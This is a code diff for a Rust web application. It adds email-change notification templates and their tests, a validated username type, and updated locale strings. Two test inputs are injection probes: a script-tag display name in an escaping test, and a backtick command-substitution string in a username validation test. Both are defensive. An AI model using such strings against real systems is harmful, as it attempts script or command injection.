1534 + self.title,
1535 + self.greeting,
1536 + self.intro,
1537 + self.details,
1538 + self.support,
1539 + self.footer,
1540 + self.current_year,
1541 + self.app_name,
1542 + )
1543 + }
1544 +}
1545 +
1546 +#[cfg(test)]
1547 +mod email_change_template_tests {
1548 + use super::*;
1549 +
1550 + /// The six locales shipped with the framework.
1551 + const LOCALES: [&str; 6] = ["de", "en", "es", "fr", "it", "pt"];
1552 +
1553 + fn validation(locale: &str) -> EmailChangeValidationTemplate {
1554 + EmailChangeValidationTemplate {
1555 + locale: locale.to_string(),
1556 + app_name: "Rustwarden".to_string(),
1557 + title: "Confirm your new email address".to_string(),
1558 + greeting: "Hello alice,".to_string(),
1559 + intro: "A request was opened.".to_string(),
1560 + expires: "Valid for 24 hour(s).".to_string(),
1561 + ignore_notice: "Ignore this message if you did not ask.".to_string(),
1562 + button_label: "Open the confirmation page".to_string(),
1563 + confirm_url: "https://example.test/api/v1/auth/email-change/confirm/abc".to_string(),
1564 + fallback_label: "Button not working?".to_string(),
1565 + footer: "Sent automatically.".to_string(),
1566 + current_year: 2026,
1567 + }
1568 + }
1569 +
1570 + fn notice(locale: &str) -> EmailChangeNoticeTemplate {
1571 + EmailChangeNoticeTemplate {
1572 + locale: locale.to_string(),
1573 + app_name: "Rustwarden".to_string(),
1574 + title: "Email-change request".to_string(),
1575 + greeting: "Hello alice,".to_string(),
1576 + intro: "A request to move your account to ne***@ex***.test was opened.".to_string(),
1577 + unchanged: "Your account has NOT changed.".to_string(),
1578 + report_intro: "Alert the administrators if this is not you.".to_string(),
1579 + button_label: "Open the report page".to_string(),
1580 + report_url: "https://example.test/api/v1/auth/email-change/report/xyz".to_string(),
1581 + fallback_label: "Button not working?".to_string(),
1582 + footer: "Sent automatically.".to_string(),
1583 + current_year: 2026,
1584 + }
1585 + }
1586 +
1587 + fn reported_admin(locale: &str) -> EmailChangeReportedAdminTemplate {
1588 + EmailChangeReportedAdminTemplate {
1589 + locale: locale.to_string(),
1590 + app_name: "Rustwarden".to_string(),
1591 + title: "Email change reported".to_string(),
1592 + intro: "User alice reported a request.".to_string(),
1593 + details: "Current: al***@ex***.test — requested: ne***@ex***.test.".to_string(),
1594 + not_blocked: "The change is NOT blocked.".to_string(),
1595 + footer: "Sent automatically.".to_string(),
1596 + current_year: 2026,
1597 + }
1598 + }
1599 +
1600 + fn by_admin(locale: &str) -> EmailChangeByAdminTemplate {
1601 + EmailChangeByAdminTemplate {
1602 + locale: locale.to_string(),
1603 + app_name: "Rustwarden".to_string(),
1604 + title: "Email address changed by an administrator".to_string(),
1605 + greeting: "Hello alice,".to_string(),
1606 + intro: "An administrator changed your address.".to_string(),
1607 + details: "Previous: al***@ex***.test — new: ne***@ex***.test.".to_string(),
1608 + support: "Nothing to confirm on your side.".to_string(),
1609 + footer: "Sent automatically.".to_string(),
1610 + current_year: 2026,
1611 + }
1612 + }
1613 +
1614 + #[test]
1615 + fn the_four_templates_render_in_every_locale() {
1616 + for locale in LOCALES {
1617 + let html = validation(locale).render_html().unwrap();
1618 + assert!(html.contains(&format!("lang=\"{locale}\"")));
1619 + assert!(!validation(locale).render_text().is_empty());
1620 +
1621 + let html = notice(locale).render_html().unwrap();
1622 + assert!(html.contains(&format!("lang=\"{locale}\"")));
1623 + assert!(!notice(locale).render_text().is_empty());
1624 +
1625 + let html = reported_admin(locale).render_html().unwrap();
1626 + assert!(html.contains(&format!("lang=\"{locale}\"")));
1627 + assert!(!reported_admin(locale).render_text().is_empty());
1628 +
1629 + let html = by_admin(locale).render_html().unwrap();
1630 + assert!(html.contains(&format!("lang=\"{locale}\"")));
1631 + assert!(!by_admin(locale).render_text().is_empty());
1632 + }
1633 + }
1634 +
1635 + /// The whole point of the two-mail design: the address that still owns the
1636 + /// account is told what is happening, but is never handed the secret that
1637 + /// would apply the change.
1638 + #[test]
1639 + fn only_the_candidate_address_ever_receives_the_confirmation_link() {
1640 + let notice_html = notice("en").render_html().unwrap();
1641 + let notice_text = notice("en").render_text();
1642 + for body in [&notice_html, &notice_text] {
1643 + assert!(
1644 + !body.contains("email-change/confirm/"),
1645 + "the notice sent to the current address must not carry the confirmation link"
1646 + );
1647 + assert!(body.contains("email-change/report/"));
1648 + }
1649 +
1650 + let validation_html = validation("en").render_html().unwrap();
1651 + assert!(validation_html.contains("email-change/confirm/"));
1652 + assert!(!validation_html.contains("email-change/report/"));
1653 + }
1654 +
1655 + /// An operator-driven change is already done when the mail goes out: a link
1656 + /// in it could only mislead its reader into thinking something is pending.
1657 + #[test]
1658 + fn the_admin_notification_carries_no_actionable_link() {
1659 + let html = by_admin("en").render_html().unwrap();
1660 + assert!(!html.contains("email-change/confirm/"));
1661 + assert!(!html.contains("email-change/report/"));
1662 + assert!(!by_admin("en").render_text().contains("email-change/"));
1663 + }
1664 +
1665 + /// Fields are pre-translated by the service, so a hostile display name
1666 + /// reaching a translation placeholder must not become markup.
1667 + #[test]
1668 + fn pre_translated_fields_are_escaped() {
1669 + let mut template = validation("en");
1670 + template.greeting = "Hello <script>alert(1)</script>,".to_string();
1671 + let html = template.render_html().unwrap();
1672 + assert!(!html.contains("<script>alert(1)</script>"));
1673 + // Askama emits numeric entities (`&#60;`), not named ones.
1674 + assert!(html.contains("&#60;script&#62;"));
1675 + }
1676 +}
M crates/rustwarden-core/src/types/mod.rs
+2 -0
@@ -5,5 +5,7 @@
5 5 //! services.
6 6
7 7 pub mod team_slug;
8 +pub mod username;
8 9
9 10 pub use team_slug::TeamSlug;
11 +pub use username::Username;
A crates/rustwarden-core/src/types/username.rs
+261 -0
@@ -0,0 +1,261 @@
1 +//! Validated local username.
2 +//!
3 +//! A [`Username`] is a validated user-facing handle enforcing GitHub-like
4 +//! rules:
5 +//!
6 +//! - 3 to 39 characters (after trim)
7 +//! - `[a-z0-9-]+` (lowercase ASCII letters, digits, hyphen)
8 +//! - Neither starts nor ends with `-`
9 +//! - No consecutive `--`
10 +//! - Uppercase rejected — no silent fold (`Alice` → error, not `alice`)
11 +//! - Not one of [`team_slug::RESERVED`] or [`EXTRA_RESERVED`]
12 +//! (public [`Username::parse`] only; bootstrap uses the crate-private
13 +//! `parse_allow_reserved`)
14 +//!
15 +//! Grandfathered accounts outside this charset remain valid at login;
16 +//! only write boundaries (`UserService::create_user`, `update_profile`,
17 +//! `register`) enforce the newtype.
18 +
19 +use crate::error::AppError;
20 +use crate::types::team_slug;
21 +use serde::{Deserialize, Serialize};
22 +
23 +/// Extra reserved logins on top of [`team_slug::RESERVED`].
24 +pub const EXTRA_RESERVED: &[&str] = &["me", "explore"];
25 +
26 +/// Validated local username. Construct only via [`Username::parse`] or,
27 +/// for bootstrap paths, the crate-private `parse_allow_reserved`.
28 +///
29 +/// # Examples
30 +///
31 +/// ```
32 +/// use rustwarden_core::types::Username;
33 +///
34 +/// assert!(Username::parse("alice").is_ok());
35 +/// assert!(Username::parse("Alice").is_err()); // uppercase rejected, not folded
36 +/// ```
37 +#[derive(Debug, Clone, Eq, PartialEq, Hash, Serialize, Deserialize)]
38 +#[serde(transparent)]
39 +pub struct Username(String);
40 +
41 +impl Username {
42 + /// Return `true` if `s` matches any name in [`team_slug::RESERVED`] or
43 + /// [`EXTRA_RESERVED`], meaning it cannot be used as a public username.
44 + ///
45 + /// Used by [`Username::parse`] and by
46 + /// [`OAuthService::generate_unique_username`] so the reserved-name list
47 + /// lives in exactly one place.
48 + pub(crate) fn is_reserved(s: &str) -> bool {
49 + team_slug::RESERVED.contains(&s) || EXTRA_RESERVED.contains(&s)
50 + }
51 +
52 + /// Parse a raw string into a `Username`.
53 + ///
54 + /// Trims ASCII/Unicode whitespace, then enforces charset, length, hyphen
55 + /// rules, and reserved names. Uppercase is rejected (no silent fold) so
56 + /// `Alice` and `alice` cannot collide.
57 + /// Returns [`AppError::Validation`] (HTTP 400) on any rule violation.
58 + ///
59 + /// # Examples
60 + ///
61 + /// ```
62 + /// use rustwarden_core::types::Username;
63 + ///
64 + /// assert_eq!(Username::parse("alice").unwrap().as_str(), "alice");
65 + /// assert!(Username::parse("Alice").is_err());
66 + /// ```
67 + pub fn parse(raw: &str) -> Result<Self, AppError> {
68 + let validated = Self::validate_charset_and_shape(raw)?;
69 + if Self::is_reserved(validated.0.as_str()) {
70 + return Err(AppError::Validation(format!(
71 + "Username '{}' is reserved",
72 + validated.0
73 + )));
74 + }
75 + Ok(validated)
76 + }
77 +
78 + /// Like [`Username::parse`] but allows reserved names.
79 + ///
80 + /// Used by bootstrap paths (`ensure_default_admin`,
81 + /// `AdminConfig::validate`) where `ADMIN_USERNAME=admin` must remain
82 + /// valid. All other rules (charset, length, hyphens) still apply.
83 + pub(crate) fn parse_allow_reserved(raw: &str) -> Result<Self, AppError> {
84 + Self::validate_charset_and_shape(raw)
85 + }
86 +
87 + /// Core charset and shape validation shared by both parse variants.
88 + fn validate_charset_and_shape(raw: &str) -> Result<Self, AppError> {
89 + let s = raw.trim();
90 + if s.len() < 3 || s.len() > 39 {
91 + return Err(AppError::Validation(
92 + "Username must be 3-39 characters".into(),
93 + ));
94 + }
95 + if s.starts_with('-') || s.ends_with('-') {
96 + return Err(AppError::Validation(
97 + "Username cannot start or end with '-'".into(),
98 + ));
99 + }
100 + if s.contains("--") {
101 + return Err(AppError::Validation(
102 + "Username cannot contain consecutive '-'".into(),
103 + ));
104 + }
105 + if !s
106 + .chars()
107 + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')
108 + {
109 + return Err(AppError::Validation(
110 + "Username must only contain lowercase letters, digits, and '-'".into(),
111 + ));
112 + }
113 + Ok(Self(s.to_string()))
114 + }
115 +
116 + /// Return the username as a string slice.
117 + pub fn as_str(&self) -> &str {
118 + &self.0
119 + }
120 +
121 + /// Consume the `Username` and return the inner `String`.
122 + pub fn into_inner(self) -> String {
123 + self.0
124 + }
125 +}
126 +
127 +impl std::fmt::Display for Username {
128 + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
129 + f.write_str(&self.0)
130 + }
131 +}
132 +
133 +#[cfg(test)]
134 +mod tests {
135 + use super::*;
136 +
137 + // --- happy path ---
138 +
139 + #[test]
140 + fn valid_username() {
141 + assert_eq!(Username::parse("alice").unwrap().as_str(), "alice");
142 + assert_eq!(Username::parse("squad-42").unwrap().as_str(), "squad-42");
143 + }
144 +
145 + #[test]
146 + fn trims_whitespace() {
147 + assert_eq!(Username::parse(" alice ").unwrap().as_str(), "alice");
148 + }
149 +
150 + #[test]
151 + fn into_inner_returns_string() {
152 + let u = Username::parse("alice").unwrap();
153 + assert_eq!(u.into_inner(), "alice".to_string());
154 + }
155 +
156 + #[test]
157 + fn display_matches_inner() {
158 + let u = Username::parse("squad-42").unwrap();
159 + assert_eq!(format!("{u}"), "squad-42");
160 + }
161 +
162 + // --- charset errors ---
163 +
164 + #[test]
165 + fn rejects_backtick() {
166 + assert!(Username::parse("x`id`y").is_err());
167 + }
168 +
169 + #[test]
170 + fn rejects_underscore() {
171 + assert!(Username::parse("john_doe").is_err());
172 + }
173 +
174 + #[test]
175 + fn rejects_dot() {
176 + assert!(Username::parse("alice.bob").is_err());
177 + }
178 +
179 + #[test]
180 + fn rejects_uppercase() {
181 + // No silent fold: Alice stays Alice and is rejected.
182 + assert!(Username::parse("Alice").is_err());
183 + }
184 +
185 + // --- shape errors ---
186 +
187 + #[test]
188 + fn rejects_too_short() {
189 + assert!(Username::parse("ab").is_err());
190 + assert!(Username::parse("").is_err());
191 + assert!(Username::parse(" ").is_err());
192 + }
193 +
194 + #[test]
195 + fn rejects_too_long() {
196 + let too_long = "a".repeat(40);
197 + assert!(Username::parse(&too_long).is_err());
198 + }
199 +
200 + #[test]
201 + fn rejects_leading_hyphen() {
202 + assert!(Username::parse("-alice").is_err());
203 + }
204 +
205 + #[test]
206 + fn rejects_trailing_hyphen() {
207 + assert!(Username::parse("alice-").is_err());
208 + }
209 +
210 + #[test]
211 + fn rejects_double_hyphen() {
212 + assert!(Username::parse("alice--bob").is_err());
213 + }
214 +
215 + // --- reserved ---
216 +
217 + #[test]
218 + fn rejects_team_slug_reserved() {
219 + for r in team_slug::RESERVED {
220 + assert!(Username::parse(r).is_err(), "{r} should be reserved");
221 + }
222 + }
223 +
224 + #[test]
225 + fn rejects_extra_reserved() {
226 + assert!(Username::parse("me").is_err());
227 + assert!(Username::parse("explore").is_err());
228 + }
229 +
230 + // --- parse_allow_reserved ---
231 +
232 + #[test]
233 + fn allow_reserved_accepts_admin() {
234 + assert!(Username::parse_allow_reserved("admin").is_ok());
235 + }
236 +
237 + #[test]
238 + fn allow_reserved_still_rejects_uppercase() {
239 + assert!(Username::parse_allow_reserved("Admin").is_err());
240 + }
241 +
242 + #[test]
243 + fn allow_reserved_still_rejects_bad_charset() {
244 + assert!(Username::parse_allow_reserved("admin_").is_err());
245 + }
246 +
247 + // --- grandfather: update without touching username ---
248 + // (service-level; unit tested via username module)
249 + // parse is NOT called on read paths — only on writes/renames.
250 +
251 + #[test]
252 + fn exactly_39_chars_accepted() {
253 + let exactly = "a".repeat(39);
254 + assert!(Username::parse(&exactly).is_ok());
255 + }
256 +
257 + #[test]
258 + fn exactly_3_chars_accepted() {
259 + assert!(Username::parse("abc").is_ok());
260 + }
261 +}
A crates/rustwarden-core/templates/emails/_email_change_style.html
+82 -0
@@ -0,0 +1,82 @@
1 +<style>
2 + body {
3 + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
4 + line-height: 1.6;
5 + color: #333;
6 + max-width: 600px;
7 + margin: 0 auto;
8 + padding: 20px;
9 + background-color: #f4f4f4;
10 + }
11 + .email-container {
12 + background-color: #ffffff;
13 + border-radius: 8px;
14 + padding: 30px;
15 + box-shadow: 0 2px 4px rgba(0,0,0,0.1);
16 + }
17 + .header {
18 + text-align: center;
19 + margin-bottom: 30px;
20 + }
21 + .logo {
22 + font-size: 24px;
23 + font-weight: bold;
24 + color: #2563eb;
25 + margin-bottom: 10px;
26 + }
27 + h1 {
28 + color: #1f2937;
29 + font-size: 24px;
30 + margin-bottom: 20px;
31 + }
32 + .content {
33 + margin-bottom: 30px;
34 + }
35 + .button-container {
36 + text-align: center;
37 + margin: 30px 0;
38 + }
39 + .button {
40 + display: inline-block;
41 + padding: 12px 30px;
42 + background-color: #10b981;
43 + color: #ffffff !important;
44 + text-decoration: none;
45 + border-radius: 6px;
46 + font-weight: 600;
47 + font-size: 16px;
48 + }
49 + .link-fallback {
50 + margin-top: 20px;
51 + padding: 15px;
52 + background-color: #f3f4f6;
53 + border-radius: 6px;
54 + word-break: break-all;
55 + font-size: 14px;
56 + color: #6b7280;
57 + }
58 + .info {
59 + margin-top: 20px;
60 + padding: 15px;
61 + background-color: #dbeafe;
62 + border-left: 4px solid #3b82f6;
63 + border-radius: 4px;
64 + font-size: 14px;
65 + }
66 + .warning {
67 + margin-top: 20px;
68 + padding: 15px;
69 + background-color: #fef3c7;
70 + border-left: 4px solid #f59e0b;
71 + border-radius: 4px;
72 + font-size: 14px;
73 + }
74 + .footer {
75 + margin-top: 30px;
76 + padding-top: 20px;
77 + border-top: 1px solid #e5e7eb;
78 + font-size: 14px;
79 + color: #6b7280;
80 + text-align: center;
81 + }
82 +</style>
A crates/rustwarden-core/templates/emails/email_change_by_admin.html
+33 -0
@@ -0,0 +1,33 @@
1 +<!DOCTYPE html>
2 +<html lang="{{ locale }}">
3 +<head>
4 + <meta charset="UTF-8">
5 + <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 + <title>{{ title }}</title>
7 + {% include "emails/_email_change_style.html" %}
8 +</head>
9 +<body>
10 + <div class="email-container">
11 + <div class="header">
12 + <div class="logo">{{ app_name }}</div>
13 + </div>
14 +
15 + <h1>{{ title }}</h1>
16 +
17 + <div class="content">
18 + <p>{{ greeting }}</p>
19 + <p>{{ intro }}</p>
20 + <p>{{ details }}</p>
21 + </div>
22 +
23 + <div class="info">
24 + <p>{{ support }}</p>
25 + </div>
26 +
27 + <div class="footer">
28 + <p>{{ footer }}</p>
29 + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p>
30 + </div>
31 + </div>
32 +</body>
33 +</html>
A crates/rustwarden-core/templates/emails/email_change_notice.html
+39 -0
@@ -0,0 +1,39 @@
1 +<!DOCTYPE html>
2 +<html lang="{{ locale }}">
3 +<head>
4 + <meta charset="UTF-8">
5 + <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 + <title>{{ title }}</title>
7 + {% include "emails/_email_change_style.html" %}
8 +</head>
9 +<body>
10 + <div class="email-container">
11 + <div class="header">
12 + <div class="logo">{{ app_name }}</div>
13 + </div>
14 +
15 + <h1>{{ title }}</h1>
16 +
17 + <div class="content">
18 + <p>{{ greeting }}</p>
19 + <p>{{ intro }}</p>
20 + <p><strong>{{ unchanged }}</strong></p>
21 + <p>{{ report_intro }}</p>
22 + </div>
23 +
24 + <div class="button-container">
25 + <a href="{{ report_url }}" class="button">{{ button_label }}</a>
26 + </div>
27 +
28 + <div class="link-fallback">
29 + <p>{{ fallback_label }}</p>
30 + <p style="margin-top: 10px; word-break: break-all;">{{ report_url }}</p>
31 + </div>
32 +
33 + <div class="footer">
34 + <p>{{ footer }}</p>
35 + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p>
36 + </div>
37 + </div>
38 +</body>
39 +</html>
A crates/rustwarden-core/templates/emails/email_change_reported_admin.html
+32 -0
@@ -0,0 +1,32 @@
1 +<!DOCTYPE html>
2 +<html lang="{{ locale }}">
3 +<head>
4 + <meta charset="UTF-8">
5 + <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 + <title>{{ title }}</title>
7 + {% include "emails/_email_change_style.html" %}
8 +</head>
9 +<body>
10 + <div class="email-container">
11 + <div class="header">
12 + <div class="logo">{{ app_name }}</div>
13 + </div>
14 +
15 + <h1>{{ title }}</h1>
16 +
17 + <div class="content">
18 + <p>{{ intro }}</p>
19 + <p>{{ details }}</p>
20 + </div>
21 +
22 + <div class="warning">
23 + <p>{{ not_blocked }}</p>
24 + </div>
25 +
26 + <div class="footer">
27 + <p>{{ footer }}</p>
28 + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p>
29 + </div>
30 + </div>
31 +</body>
32 +</html>
A crates/rustwarden-core/templates/emails/email_change_validation.html
+42 -0
@@ -0,0 +1,42 @@
1 +<!DOCTYPE html>
2 +<html lang="{{ locale }}">
3 +<head>
4 + <meta charset="UTF-8">
5 + <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 + <title>{{ title }}</title>
7 + {% include "emails/_email_change_style.html" %}
8 +</head>
9 +<body>
10 + <div class="email-container">
11 + <div class="header">
12 + <div class="logo">{{ app_name }}</div>
13 + </div>
14 +
15 + <h1>{{ title }}</h1>
16 +
17 + <div class="content">
18 + <p>{{ greeting }}</p>
19 + <p>{{ intro }}</p>
20 + </div>
21 +
22 + <div class="button-container">
23 + <a href="{{ confirm_url }}" class="button">{{ button_label }}</a>
24 + </div>
25 +
26 + <div class="link-fallback">
27 + <p>{{ fallback_label }}</p>
28 + <p style="margin-top: 10px; word-break: break-all;">{{ confirm_url }}</p>
29 + </div>
30 +
31 + <div class="info">
32 + <p>{{ expires }}</p>
33 + <p>{{ ignore_notice }}</p>
34 + </div>
35 +
36 + <div class="footer">
37 + <p>{{ footer }}</p>
38 + <p style="margin-top: 10px; font-size: 12px; color: #9ca3af;">© {{ current_year }} {{ app_name }}</p>
39 + </div>
40 + </div>
41 +</body>
42 +</html>
M crates/rustwarden-ui/locales/de.yml
+12 -2
@@ -18,6 +18,7 @@ login:
18 18 username_placeholder: "Benutzername oder E-Mail"
19 19 password_placeholder: "Ihr Passwort"
20 20 username_placeholder_register: "Ihr Benutzername (min. 3 Zeichen)"
21 + username_pattern_register: "Nur Kleinbuchstaben, Ziffern und Bindestriche, 3 bis 39 Zeichen"
21 22 password_placeholder_register: "Ihr Passwort (min. 8 Zeichen)"
22 23 email_placeholder: "ihre@email.de"
23 24 forgot_password: "Passwort vergessen?"
@@ -194,7 +195,7 @@ profile:
194 195 username: "Benutzername"
195 196 username_public: "Öffentlich sichtbar"
196 197 username_placeholder: "Ihr Benutzername"
197 - username_pattern: "Nur Buchstaben, Zahlen, Bindestriche und Unterstriche"
198 + username_pattern: "Nur Kleinbuchstaben, Ziffern und Bindestriche, 3 bis 39 Zeichen"
198 199 email: "E-Mail"
199 200 email_placeholder: "ihre@email.de"
200 201 save: "Änderungen speichern"
@@ -205,7 +206,7 @@ profile:
205 206 email_used_for: "Wird für die Anmeldung verwendet"
206 207 email_warning: "⚠️ Sie werden nach der Änderung abgemeldet"
207 208 email_change_info: "E-Mail-Änderungen erfordern aus Sicherheitsgründen eine erneute Anmeldung."
208 - username_help: "3-50 Zeichen (Buchstaben, Zahlen, -, _)"
209 + username_help: "3 bis 39 Zeichen (a-z, 0-9, -)"
209 210 additional_info: "Zusätzliche Informationen"
210 211 account_created: "Konto erstellt am"
211 212 roles: "Rollen"
@@ -362,6 +363,7 @@ admin:
362 363 back_to_list: "Zurück zur Liste"
363 364 username_label: "Benutzername"
364 365 username_placeholder: "benutzername"
366 + username_pattern: "Nur Kleinbuchstaben, Ziffern und Bindestriche, 3 bis 39 Zeichen"
365 367 username_readonly_hint: "Der Benutzername kann nach der Erstellung nicht geändert werden"
366 368 email_label: "E-Mail"
367 369 email_placeholder: "benutzer@example.com"
@@ -850,3 +852,11 @@ fediverse_invite_landing:
850 852 reject_button: "Ablehnen"
851 853 already_decided: "Diese Einladung wurde bereits bearbeitet."
852 854 cannot_accept_note: "Um anzunehmen, müssen Sie über eine föderierte Identität angemeldet sein (Anmeldung von Ihrer Ursprungsinstanz). Sie können von diesem lokalen Konto aus ablehnen, aber die Annahme erfolgt über den AP-nativen Flow."
855 +
856 +# 404-Seite (unbekannte Route)
857 +http_errors:
858 + not_found_title: "Seite nicht gefunden"
859 + not_found_message: "Diese Adresse entspricht keiner Seite."
860 + code_label: "Fehler 404"
861 + home: "Zur Startseite"
862 + login: "Anmelden"
M crates/rustwarden-ui/locales/en.yml
+12 -2
@@ -18,6 +18,7 @@ login:
18 18 username_placeholder: "Username or email"
19 19 password_placeholder: "Your password"
20 20 username_placeholder_register: "Your username (min. 3 characters)"
21 + username_pattern_register: "Lowercase letters, digits and hyphens only, 3 to 39 characters"
21 22 password_placeholder_register: "Your password (min. 8 characters)"
22 23 email_placeholder: "your@email.com"
23 24 forgot_password: "Forgot password?"
@@ -194,7 +195,7 @@ profile:
194 195 username: "Username"
195 196 username_public: "Publicly visible"
196 197 username_placeholder: "Your username"
197 - username_pattern: "Letters, numbers, dashes and underscores only"
198 + username_pattern: "Lowercase letters, digits and hyphens only, 3 to 39 characters"
198 199 email: "Email"
199 200 email_placeholder: "your@email.com"
200 201 save: "Save changes"
@@ -205,7 +206,7 @@ profile:
205 206 email_used_for: "Used for login"
206 207 email_warning: "⚠️ You will be logged out after modification"
207 208 email_change_info: "Email changes require reconnection for security reasons."
208 - username_help: "3-50 characters (letters, numbers, -, _)"
209 + username_help: "3 to 39 characters (a-z, 0-9, -)"
209 210 additional_info: "Additional Information"
210 211 account_created: "Account created on"
211 212 roles: "Roles"
@@ -364,6 +365,7 @@ admin:
364 365 back_to_list: "Back to list"
365 366 username_label: "Username"
366 367 username_placeholder: "username"
368 + username_pattern: "Lowercase letters, digits and hyphens only, 3 to 39 characters"
367 369 username_readonly_hint: "Username cannot be changed after creation"
368 370 email_label: "Email"
369 371 email_placeholder: "user@example.com"
@@ -863,3 +865,11 @@ fediverse_invite_landing:
863 865 reject_button: "Reject"
864 866 already_decided: "This invitation has already been handled."
865 867 cannot_accept_note: "To accept, you must be signed in via a federated identity (login from your origin instance). You can reject from this local account, but accepting goes through the AP-native flow."
868 +
869 +# 404 page (unknown route)
870 +http_errors:
871 + not_found_title: "Page not found"
872 + not_found_message: "This address does not match any page."
873 + code_label: "Error 404"
874 + home: "Back to home"
875 + login: "Sign in"
M crates/rustwarden-ui/locales/es.yml
+13 -3
@@ -18,6 +18,7 @@ login:
18 18 username_placeholder: "Nombre de usuario o email"
19 19 password_placeholder: "Su contraseña"
20 20 username_placeholder_register: "Su nombre de usuario (mín. 3 caracteres)"
21 + username_pattern_register: "Solo minúsculas, números y guiones, de 3 a 39 caracteres"
21 22 password_placeholder_register: "Su contraseña (mín. 8 caracteres)"
22 23 email_placeholder: "su@email.com"
23 24 forgot_password: "¿Olvidó su contraseña?"
@@ -194,7 +195,7 @@ profile:
194 195 username: "Nombre de usuario"
195 196 username_public: "Visible públicamente"
196 197 username_placeholder: "Su nombre de usuario"
197 - username_pattern: "Solo letras, números, guiones y guiones bajos"
198 + username_pattern: "Solo minúsculas, números y guiones, de 3 a 39 caracteres"
198 199 email: "Email"
199 200 email_placeholder: "su@email.com"
200 201 save: "Guardar cambios"
@@ -205,7 +206,7 @@ profile:
205 206 email_used_for: "Se utiliza para iniciar sesión"
206 207 email_warning: "⚠️ Será desconectado después de la modificación"
207 208 email_change_info: "Los cambios de correo electrónico requieren reconexión por razones de seguridad."
208 - username_help: "3-50 caracteres (letras, números, -, _)"
209 + username_help: "De 3 a 39 caracteres (a-z, 0-9, -)"
209 210 additional_info: "Información adicional"
210 211 account_created: "Cuenta creada el"
211 212 roles: "Roles"
@@ -361,7 +362,8 @@ admin:
361 362 title_edit: "Modificar un usuario"
362 363 back_to_list: "Volver a la lista"
363 364 username_label: "Nombre de usuario"
364 - username_placeholder: "nombre_usuario"
365 + username_placeholder: "nombre-usuario"
366 + username_pattern: "Solo minúsculas, números y guiones, de 3 a 39 caracteres"
365 367 username_readonly_hint: "El nombre de usuario no se puede cambiar después de la creación"
366 368 email_label: "Email"
367 369 email_placeholder: "usuario@example.com"
@@ -849,3 +851,11 @@ fediverse_invite_landing:
849 851 reject_button: "Rechazar"
850 852 already_decided: "Esta invitación ya ha sido procesada."
851 853 cannot_accept_note: "Para aceptar, debe estar conectado mediante una identidad federada (inicio de sesión desde su instancia de origen). Puede rechazarla desde esta cuenta local, pero la aceptación pasa por el flujo nativo AP."
854 +
855 +# Página 404 (ruta desconocida)
856 +http_errors:
857 + not_found_title: "Página no encontrada"
858 + not_found_message: "Esta dirección no corresponde a ninguna página."
859 + code_label: "Error 404"
860 + home: "Volver al inicio"
861 + login: "Iniciar sesión"
M crates/rustwarden-ui/locales/fr.yml
+13 -3
@@ -18,6 +18,7 @@ login:
18 18 username_placeholder: "Nom d'utilisateur ou email"
19 19 password_placeholder: "Votre mot de passe"
20 20 username_placeholder_register: "Votre nom d'utilisateur (min. 3 caractères)"
21 + username_pattern_register: "Minuscules, chiffres et tirets uniquement, 3 à 39 caractères"
21 22 password_placeholder_register: "Votre mot de passe (min. 8 caractères)"
22 23 email_placeholder: "votre@email.com"
23 24 forgot_password: "Mot de passe oublié ?"
@@ -194,7 +195,7 @@ profile:
194 195 username: "Nom d'utilisateur"
195 196 username_public: "Visible publiquement"
196 197 username_placeholder: "Votre nom d'utilisateur"
197 - username_pattern: "Lettres, chiffres, tirets et underscores uniquement"
198 + username_pattern: "Minuscules, chiffres et tirets uniquement, 3 à 39 caractères"
198 199 email: "Email"
199 200 email_placeholder: "votre@email.com"
200 201 save: "Enregistrer les modifications"
@@ -205,7 +206,7 @@ profile:
205 206 email_used_for: "Utilisée pour la connexion"
206 207 email_warning: "⚠️ Vous serez déconnecté après la modification"
207 208 email_change_info: "Les modifications d'email nécessitent une reconnexion pour des raisons de sécurité."
208 - username_help: "3-50 caractères (lettres, chiffres, -, _)"
209 + username_help: "3 à 39 caractères (a-z, 0-9, -)"
209 210 additional_info: "Informations supplémentaires"
210 211 account_created: "Compte créé le"
211 212 roles: "Rôles"
@@ -364,7 +365,8 @@ admin:
364 365 title_edit: "Modifier un utilisateur"
365 366 back_to_list: "Retour à la liste"
366 367 username_label: "Nom d'utilisateur"
367 - username_placeholder: "nom_utilisateur"
368 + username_placeholder: "nom-utilisateur"
369 + username_pattern: "Minuscules, chiffres et tirets uniquement, 3 à 39 caractères"
368 370 username_readonly_hint: "Le nom d'utilisateur ne peut pas être modifié après création"
369 371 email_label: "Email"
370 372 email_placeholder: "utilisateur@example.com"
@@ -964,3 +966,11 @@ fediverse_invite_landing:
964 966 reject_button: "Refuser"
965 967 already_decided: "Cette invitation a déjà été traitée."
966 968 cannot_accept_note: "Pour accepter, tu dois être connecté·e via une identité fédérée (login depuis ton instance d'origine). Tu peux refuser depuis ce compte local, mais l'acceptation passe par le flow AP-native."
969 +
970 +# Page 404 (route inconnue)
971 +http_errors:
972 + not_found_title: "Page introuvable"
973 + not_found_message: "Cette adresse ne correspond à aucune page."
974 + code_label: "Erreur 404"
975 + home: "Retour à l'accueil"
976 + login: "Se connecter"
M crates/rustwarden-ui/locales/it.yml
+13 -3
@@ -18,6 +18,7 @@ login:
18 18 username_placeholder: "Nome utente o email"
19 19 password_placeholder: "La tua password"
20 20 username_placeholder_register: "Il tuo nome utente (min. 3 caratteri)"
21 + username_pattern_register: "Solo minuscole, numeri e trattini, da 3 a 39 caratteri"
21 22 password_placeholder_register: "La tua password (min. 8 caratteri)"
22 23 email_placeholder: "tua@email.com"
23 24 forgot_password: "Password dimenticata?"
@@ -194,7 +195,7 @@ profile:
194 195 username: "Nome utente"
195 196 username_public: "Visibile pubblicamente"
196 197 username_placeholder: "Il tuo nome utente"
197 - username_pattern: "Solo lettere, numeri, trattini e underscore"
198 + username_pattern: "Solo minuscole, numeri e trattini, da 3 a 39 caratteri"
198 199 email: "Email"
199 200 email_placeholder: "tua@email.com"
200 201 save: "Salva le modifiche"
